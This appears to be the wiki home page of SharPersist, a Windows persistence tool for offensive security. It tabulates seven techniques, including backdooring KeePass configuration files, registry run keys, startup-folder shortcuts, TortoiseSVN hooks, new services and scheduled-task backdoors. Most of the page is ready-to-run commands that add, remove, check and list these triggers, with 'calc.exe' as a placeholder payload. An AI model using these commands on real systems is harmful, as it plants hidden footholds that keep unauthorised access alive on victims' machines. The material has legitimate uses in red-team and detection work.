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Welcome to the wiki home page for SharPersist! For detailed information on each technique, you can navigate to the appropriate technique on the right-hand side. This will include usage information and detailed information on how each persistence technique works.

Table of Techniques

Technique	Description	Technique Switch Name (-t)	Admin Privileges Required?	Touches Registry?	Adds/Modifies/Removes Files on Disk?
KeePass	Backdoored KeePass configuration file with malicious trigger	keepass	No	No	Yes
New Scheduled Task	New scheduled task that runs specified command	schtask	No	No	Yes
Registry	Registry modification	reg	No	Yes	No
Startup Folder	LNK file in user startup folder	startupfolder	No	No	Yes
Tortoise SVN Hook Script	Tortoise SVN hook script to execute command when user connects to SVN repo	tortoisesvn	No	Yes	No
New Service	New service that runs specified application	service	Yes	Yes	No
Scheduled Task Backdoor	Adds additional action to an existing scheduled task	schtaskbackdoor	Yes	No	Yes

Examples

Adding Persistence Triggers (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Startup Folder

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Windows Service

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Scheduled Task

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task -m add -o "hourly 2"

Removing Persistence Triggers (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registry

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Startup Folder

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Windows Service

SharPersist -t service -n "Some Service" -m remove

Scheduled Task

SharPersist -t schtask -n "Some Task" -m remove

Perform Dry Run of Persistence Trigger (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registry

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Startup Folder

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Windows Service

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Scheduled Task

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m check -o "hourly 2"

List Persistence Trigger Entries (List)

Registry

SharPersist -t reg -k "hkcurun" -m list

Scheduled Task Backdoor

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Startup Folder

SharPersist -t startupfolder -m list

Windows Service

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Scheduled Task

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon